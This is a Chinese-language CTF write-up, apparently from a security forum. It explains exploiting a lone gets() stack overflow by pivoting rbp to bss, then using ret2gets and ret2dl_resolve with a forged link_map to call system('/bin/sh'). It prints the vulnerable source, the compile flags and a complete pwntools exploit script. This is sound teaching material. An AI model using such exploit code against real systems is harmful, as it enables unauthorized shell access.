仅有gets栈溢出漏洞的攻击方式
漏洞分析
引言 在ret2dl_resolve的经典题中,经常会以read为输入参数,并且在x64架构中还会给出控制rdi等寄存器的gadget 当输入参数为gets时,结合ret2getes可以实现无需控制rdi寄存器的gadget即可控制rd...
引言 == 在ret2dl\_resolve的经典题中,经常会以read为输入参数,并且在x64架构中还会给出控制rdi等寄存器的gadget 当输入参数为gets时,结合ret2getes可以实现无需控制rdi寄存器的gadget即可控制rdi寄存器,最终实现getshell 这里以一道CTF题目为例子 源码 == ```php #include<stdio.h> void stack_overflow() { char buf[0x40]; gets(buf); } int main(){ stack_overflow(); return 0; } ``` 编译 == ```php gcc -o pwn ./pwn.c -no-pie -fno-stack-protector ``` exp === ```php from pwn import * filename = './pwn' context.arch='amd64' elf = ELF(filename) libc = elf.libc p = process(filename) def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): linkmap = p64(offset & (2 ** 64 - 1)) linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18) linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0) linkmap += p64(0) linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68,b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmap gets_got = elf.got['gets'] l_addr = libc.sym['system'] -libc.sym['gets'] plt_load = 0x401026 gets = elf.plt['gets'] bss = 0x404030 + 0x700 payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142) p.sendline(payload) bss_stage = bss + 0x100 fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr) payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage) payload = payload.ljust(0x100,b'\x00') payload += fake_link_map p.sendline(payload) p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00') p.interactive() ``` 解题思路 ==== 从源码上看,这道题仅有一个gets函数的栈溢出漏洞,没有输入函数,也没有能够控制寄存器的gadget ```php #include<stdio.h> void stack_overflow() { char buf[0x40]; gets(buf); } int main(){ stack_overflow(); return 0; } ``` 并且没有能够输入伪造linkmap的地方,但熟悉x64架构的应该会联想到在read、gets等输入函数是通过`[rbp+var_40]`类似汇编来实现输入位置参数的传输的 在这道题中就是 ```php endbr64 push rbp mov rbp, rsp sub rsp, 40h lea rax, [rbp+var_40] mov rdi, rax mov eax, 0 call _gets nop leave retn ``` 也就是说,凭借一个栈溢出漏洞即可控制rbp使其指向bss段,接着输入输入伪造linkmap 当然,这里也会导致一个问题,那就是两次的leave ret会造成栈迁移到bss段上 所以当我们输入第二次payload进行ret2dl\_resolve时要注意布局 这是第一次payload,控制了rbp为bss+0x40,并且将返回地址填充为`[rbp+var_40]`那部分汇编,使得能够输入伪造结构体到bss段 ```php payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142) p.sendline(payload) ``` 这里的fake\_link\_map可以跟第二次payload一起输入,这里的fake\_link\_map直接用网上找到的模板即可 ```php bss_stage = bss + 0x100 fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr) payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage) payload = payload.ljust(0x100,b'\x00') payload += fake_link_map p.sendline(payload) p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00') p.interactive() ``` 最终依靠ret2gets控制rdi寄存器为指向/bin/sh的地址即可通过ret2dl\_resolve实现在仅有gets栈溢出漏洞的情况下getshell
发表于 2026-03-02 09:00:02
阅读 ( 761 )
分类:
二进制
1 推荐
收藏
0 条评论
clxhzg
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!